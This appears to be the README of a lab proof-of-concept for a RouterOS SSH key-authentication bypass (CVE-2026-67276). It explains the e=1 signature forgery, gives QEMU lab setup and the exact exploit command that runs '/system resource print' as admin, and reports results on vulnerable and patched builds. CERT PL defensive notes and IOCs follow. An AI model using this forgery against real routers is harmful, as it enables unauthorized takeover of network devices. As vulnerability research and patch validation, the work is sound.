Lab use only. Run exclusively against RouterOS instances you own. Attacking devices you do not own is a crime (CFAA, Polish art. 267, equivalents).
Background
CERT PL (2026-09-05) disclosed six RouterOS vulnerabilities, actively exploited in the wild as the chain "MikroTrick" (unauthenticated full device takeover when SSH is internet-reachable). Fixed by MikroTik on 2026-09-03 in 7.25beta3 / 7.24.2 / 7.23.4 / 6.49.21.
| CVE | Type | Core defect |
|---|---|---|
| 2026-67276 | CWE-347 (this PoC) | SSH userauth key match checks (key type, modulus) but omits the exponent; signature verify uses the client-supplied key ⇒ e=1 forgery |
| 2026-86060 | CWE-88 | Argument injection via username starting with a prohibited character (-2 seen in attack logs) ⇒ policy-mask change ⇒ privilege escalation |
| 2026-67279 | CWE-841 | SSH enters connection protocol after client-requested rekey without completed userauth ⇒ unauthenticated exec in file namespace |
| 2026-67277 | CWE-306 | bandwidth-test pre-auth state + uninit buffer disclosure + size-underflow ⇒ kernel memory leak / restart |
| 2026-67278 | CWE-347 | X.509 accepts malformed RSA/PKCS#1v1.5 signatures; e=3 trust anchor ⇒ trusted intermediate forgery |
| 2026-67281 | CWE-824 | WebFig /jsproxy stale uninitialized principal pointer + path escape ⇒ root file read |
Vulnerable ranges (all six): [7.24, 7.24.2), [7.0.0, 7.23.4), [6.0.0, 6.49.21).
CVE-2026-67276 mechanism
- RouterOS matches the presented SSH public-key blob against the user's authorized key by (key type, modulus) — the exponent is not compared.
- Signature verification uses the client-supplied key, i.e. the exponent from the attacker's blob.
- Presenting
{ssh-rsa, e=1, n=victim}makessig^1 mod n == sig, so the valid "signature" is simplyEMSA-PKCS1-v1_5(hash, authdata)— computable by anyone who knows the victim's public modulus. No private key needed. - Result: an SSH command channel as the target user.
Preconditions (the disclosure's own minimum): target username + that user's authorized RSA public modulus.
Minimum information needed to reproduce
- Target: any RouterOS in the vulnerable ranges, SSH reachable (lab: CHR image in QEMU with KVM; real hardware equivalent).
- Username of an account with an authorized RSA key.
- The RSA modulus
nof that authorized key (from a leaked/captured.pub, provisioning records, or--modulus-hex). This is the only secret-adjacent input; the private key is never needed. - Disclosure-confirmed server behavior (the defect itself, from CERT PL): match = (type, n), verify exponent = client-supplied.
- A client that can present an arbitrary key blob and arbitrary signature
bytes (paramiko +
ForgeKeyhook — stock OpenSSH cannot). - Signature algorithm the server accepts (
ssh-rsaon 6.x,rsa-sha2-256also on 7.x).
Files
forge_67276.py— primitive: OpenSSH pubkey parsing, RFC 8017 EMSA encoder, forged blob/signature builders, reference RFC 8017 verifier.selftest.py— local proof, no router: encoder byte-identical to OpenSSL (via real-signature inversion), forged sig verifies at e=1 and NOT at 65537, full RFC 4252 §7 wire-shape sim. All 15 checks PASS.poc_67276.py— paramiko client performing the bypass (per-connection algorithm pinning;--lab-i-own-this-targetrequired).console_setup.py— one-time CHR prep over qemu serial telnet (fetch victim key via 10.0.2.2, import for admin, enable ssh).sanity_real_key.py— control: normal pubkey auth must succeed first.victim_rsa/victim.pub— generated throwaway 2048-bit "victim" keypair; deliberately excluded from Git.
Local setup
python3 -m venv .venv
./.venv/bin/python -m pip install -r requirements.txt
ssh-keygen -q -t rsa -b 2048 -N '' -C victim-key -f victim_rsa
Lab (provisioned on root@192.168.1.119)
- Kali x86_64, QEMU 11.0.1 + KVM,
/root/mikrotrick-lab/, host bridgebr0(192.168.100.1/24) with taps tap0-tap3; dnsmasq on br0 with per-MAC leases.
| VM | Image | Guest IP | MAC | Mac-side tunnel |
|---|---|---|---|---|
| chr-6.49.20 | vulnerable 6.x | 192.168.100.11 | 52:54:00:aa:00:11 | 127.0.0.1:2222 |
| chr-6.49.21 | patched 6.x | 192.168.100.12 | 52:54:00:aa:00:12 | 127.0.0.1:2223 |
| chr-7.23.3 | vulnerable 7.x | 192.168.100.13 | 52:54:00:aa:00:13 | 127.0.0.1:2224 |
| chr-7.23.4 | patched 7.x | 192.168.100.14 | 52:54:00:aa:00:14 | 127.0.0.1:2225 |
- Intended guest state: e1000 NIC, static guest IP, admin password
labpass123, and victim key imported for admin. First-login forced password changes were driven over SSH (bootstrap_password.pyreads the dialog) or QEMU monitorsendkey(mon_type.py) — CHR's serial console is dead by default; the VGA console is only readable via monitorscreendump. - Tunnel from the Mac:
ssh -N -L 2222:192.168.100.11:22 -L 2223:192.168.100.12:22 -L 2224:192.168.100.13:22 -L 2225:192.168.100.14:22 root@192.168.1.119
Re-run (example, VM3):
qemu-system-x86_64 -enable-kvm -m 512 -smp 2 -name chr-7.23.3 \
-drive file=/root/mikrotrick-lab/chr-7.23.3.img,format=raw,if=virtio \
-netdev tap,id=n2,ifname=tap2,script=no,downscript=no \
-device e1000,netdev=n2,mac=52:54:00:aa:00:13 \
-display none -monitor unix:/root/mikrotrick-lab/mon3.sock,server,nowait &
./.venv/bin/python import_key.py 127.0.0.1 admin labpass123 victim.pub 2224
./.venv/bin/python sanity_real_key.py 127.0.0.1 2224 victim_rsa admin # baseline
./.venv/bin/python poc_67276.py --host 127.0.0.1 --port 2224 \
--username admin --pubkey victim.pub --algos rsa-sha2-256,ssh-rsa \
--exp-enc aligned --exec '/system resource print' --lab-i-own-this-target
Observed results (2026-09-06 independent revalidation)
| Target | real private key (baseline) | forged e=1 key (PoC) |
|---|---|---|
| 7.23.3 | auth OK | auth OK + /system resource print exec — CVE confirmed |
| 7.23.4 (patched) | auth OK | rejected |
| 6.49.20 | auth OK | rejected (see nuance) |
| 6.49.21 (patched) | invalid baseline | not interpretable; guest accepted SSH none auth |
For the 7.x pair, the real-key baseline succeeds on both builds, SSH none
authentication is rejected, a wrong-modulus forgery is rejected by 7.23.3,
and the correct-modulus forgery succeeds only on 7.23.3. This is a valid
vulnerable-versus-patched comparison.
The 6.49.21 guest was not provisioned as documented during the independent
revalidation: admin remained expired, /user ssh-keys print detail was
empty, and a credential-free SSH none request executed commands. Unrelated
real RSA keys and wrong-modulus e=1 keys therefore also appeared to succeed.
Reprovision this guest and verify that none and an unrelated key are rejected
before using it as a patched control.
Version nuance: on 6.49.20 the server-side match rejects the e=1 blob
(/log ssh,debug: can't find matching key for user: admin) — the disclosed
exponent-omission was not observable in 6.x's matcher although CERT's blanket
range lists [6.0.0, 6.49.21). Confirmed vulnerable: 7.23.3. Confirmed
patched: 7.23.4. The current 6.49.21 lab state proves neither result. The
in-the-wild MikroTrick activity also targeted 7.x devices.
Wire-format finding (RFC 8332): the blob's inner type string stays
ssh-rsa even for rsa-sha2-256/512 signature algorithms; the sig algorithm
goes only in the outer algorithm field. Ignoring this makes the server
disconnect mid-userauth (blob parse error) — observed on both 6.x and 7.x.
The PoC's ForgeKey handles this, and --exp-enc aligned|canonical toggles
the e=1 mpint width (1 vs 3 bytes). On 7.23.3 BOTH widths authenticate — the
matcher parses the exponent and truly ignores its value. On 6.49.20 NEITHER
authenticates (can't find matching key) — see the version nuance above.
Server-side /system logging add topics=ssh,debug + /log print packet
hexdumps surfaced all of this.
Source image archive SHA-256 values used by this lab:
a954ab0002a83de5e4c02110f560d0bf622e7d21916088aaacda6baaba88cf4a chr-6.49.20.img.zip
6dcfb8674fa7964bf92ce849fbb0ba8147a5cf3d7a1ba595e24ce3e615569188 chr-6.49.21.img.zip
646764fb0a53e9b5a056cb9cf7420eb1629031096c7268c99fb9216c07f8e98c chr-7.23.3.img.zip
0d32a8da0950dee71e751281c39063f2bebee4b542291aedecc9dbfbe5d60c9d chr-7.23.4.img.zip
Defensive notes (CERT PL)
- Patch immediately: 7.25beta3 / 7.24.2 / 7.23.4 / 6.49.21.
- Interim: restrict SSH/WWW/bandwidth-test to trusted management networks; avoid RouterOS-initiated SSH/TLS from unpatched devices.
- IOCs: log lines
login failure for user -2 via ssh,user <name> added by ssh:-2@<ip>; unknown highly-privileged userops;/system/device-mode/print"Flagged" marker (indicates compromise, its absence proves nothing). Observed attacker IPs: 82.192.72.4, 103.102.31.18.
Sources
- CERT PL advisory: https://cert.pl/en/posts/2026/09/vulnerabilities-in-mikrotik-routeros-actively-exploited/
- CERT PL CVE page: https://cert.pl/en/posts/2026/09/mikrotik-routeros-cve/
- MikroTik bulletin (2026-09-03): https://mikrotik.com/supportsec/september-2026-vulnerability/
- "Flagged" mechanism: https://manual.mikrotik.com/docs/system-information-and-utilities/device-mode#flagged-status
Comments